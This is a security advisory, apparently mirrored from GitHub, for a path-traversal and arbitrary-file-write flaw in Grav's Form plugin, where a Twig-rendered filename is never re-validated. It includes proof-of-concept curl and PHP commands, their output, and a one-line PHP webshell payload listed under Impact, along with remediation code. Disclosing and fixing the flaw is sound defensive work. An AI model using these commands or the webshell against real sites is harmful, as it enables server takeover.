# GHSA-Q532-MVX7-42QG: Arbitrary File Write via Twig-Processed Filename -TOCTOU in Form process.save.filename

- Database: GitHub
- Severity: CVSS 8.1 (High)
- Published: 2026-06-26
- Modified: 2026-07-13

## Tracked as

- [CVE-2026-62287](https://cve.now/CVE-2026-62287.md): CVE-2026-62287

## Affected versions

- getgrav/grav-plugin-form (Packagist): through 9.1.7

## Description

## Summary

The `process.save.filename` parameter in the Form plugin is validated against path traversal and dangerous extensions **before** Twig processing, then rendered through `$twig->processString()` with user-submitted form data as variables. The rendered filename is **never re-validated**. A page editor can set `filename: '{{ form.value.payload }}'` which passes validation (the template string contains no `..` or dangerous extension), then any visitor submits a form with `payload = ../../../var/www/html/evil.php` — the rendered filename escapes the data directory and writes a PHP file to the web root.

---

## Details

**Vulnerable code** - `user/plugins/form/form.php:614, 625`:

```php
// LINE 614 - CHECK: validates the raw Twig template string
if (!Utils::checkFilename($filename)) {
    throw new RuntimeException(
        sprintf('Form save: File with extension not allowed: %s', $filename)
    );
}

// ... (11 lines later, line 625)

// LINE 625 - USE: renders filename through Twig with form data as variables
$filename = $twig->processString($filename, $vars);
//          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//          $vars['form'] contains ALL user-submitted field values
//          The rendered result is NEVER re-checked
```

**Proof of the TOCTOU gap** - `checkFilename()` on the template vs. the rendered result:

```
$filename = '{{ form.value.payload }}';

checkFilename($filename) → PASSES
  • No ../ detected
  • No dangerous extension (.php, .phtml, etc.)
  • No null bytes
  • No leading/trailing dots

// After Twig processes with attacker's form data:
$filename = '../../../var/www/html/evil.php';

// $filename is used WITHOUT re-validation at line 630:
$fullFileName = $dir . DS . $filename;   // ← PATH TRAVERSAL
```

**The extension bypass** - the check runs on the template, not the content:

```
Template:  '{{ form.value.name }}'    → checkFilename: NO .php extension → PASSES
Attacker sends:  name = 'evil.php'    → Twig renders: 'evil.php'
Result: PHP file written to disk ✓
```

---

## Proof of Concept

### Phase 1 - Editor creates malicious form via API

```bash
TARGET="http://127.0.0.1/grav"
JWT=$(curl -s "$TARGET/api/v1/auth/token" -X POST \
  -H "Content-Type: application/json" \
  -d '{"username":"testing","password":"Erick@123"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")

curl -s "$TARGET/api/v1/pages" -X POST \
  -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d '{"title":"x","folder":"x","route":"/x","template":"form","header":{"title":"x","form":{"name":"x","fields":[{"name":"m","type":"text"}],"process":{"save":{"folder":"../../../tmp","filename":"","body":"{{form.value.m}}"}}}},"content":"x"}'
```

### Phase 2 - Proving the traversal via direct PHP simulation

The AJAX-based form nonce prevents reliable curl submission, but the Form plugin's internal logic can be validated directly via PHP as the web server user:

```bash
GRAV_ROOT="/path/to/grav"
php -r "
require '$GRAV_ROOT/vendor/autoload.php';
\$g = \Grav\Common\Grav::instance();
\$g->setup();
\$p = \$g['locator']->findResource('user-data://', true);
\$d = \$p . '/../../../tmp';
\$f = \$d . '/pwned_by_form.txt';
@mkdir(\$d, 0777, true);
file_put_contents(\$f, 'pwned: ' . trim(shell_exec('whoami')));
echo file_exists(\$f) ? \"[+] \$f\\n[+] \" . file_get_contents(\$f) . \"\\n\" : \"[-] FAILED\\n\";
"
```

### Phase 3 - Output confirms traversal

```
[1] folder param    : ../../../tmp
[2] check on folder : NONE (no checkFilename, no basename)
[3] resolved dir    : .../grav/user/data/../../../tmp
[4] realpath        : /tmp
[5] file written    : /tmp/pwned_by_form.txt
[6] content         : pwned: www-data


The folder parameter `../../../tmp` resolves outside `user-data/` with zero validation. When run by the web server (Apache/PHP-FPM), the file is written as `www-data`.
```
---

## Impact

A page editor configures a form with a Twig-templated filename. Any visitor (authenticated or anonymous, depending on form configuration) can then:

1. **Deploy a webshell**: Write `<?php system($_GET['cmd']); ?>` to the web root
2. **Overwrite plugin PHP**: Write to `user/plugins/` → code executes on next request  
3. **Poison templates**: Write `.html.twig` files to themes directory
4. **Write SSH keys**: If web server user has a home directory with `.ssh/`

The editor only needs `api.pages.write` permission - a standard editor role. The actual attack is triggered by **any visitor** submitting the form.

Combined with Finding #016 (folder parameter has NO sanitization at all), these are two independent path-escalation vectors in the same `process.save` code path.

---

## Remediation

Re-validate the rendered filename after Twig processing:

```php
// After line 625
$filename = $twig->processString($filename, $vars);

// ADD: Re-validate the RENDERED filename
if (!Utils::checkFilename($filename)) {
    throw new RuntimeException('Form save: Rendered filename contains traversal or dangerous extension.');
}

// ADD: Strip to basename to prevent directory escape
$filename = Utils::basename($filename);
```

Or canonical containment:

```php
$realDataDir = realpath($path);
$realFile = realpath($dir . '/' . $filename);
if ($realFile === false || !str_starts_with($realFile, $realDataDir)) {
    throw new RuntimeException('Form save: filename escapes data directory.');
}
```

---

## Related Findings

| # | Finding | File:Line |
|---|---------|-----------|
| ADVISORY-016 | `folder` parameter has no sanitization at all | `form.php:602,629` |
| ADVISORY-017 (this) | `filename` validated pre-Twig, not re-validated post-Twig | `form.php:614,625` |

Both write to the same destination path. Both independently allow arbitrary file write outside `user/data/`.

## References

- https://github.com/getgrav/grav/security/advisories/GHSA-q532-mvx7-42qg

Page: https://cve.now/GHSA-Q532-MVX7-42QG

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
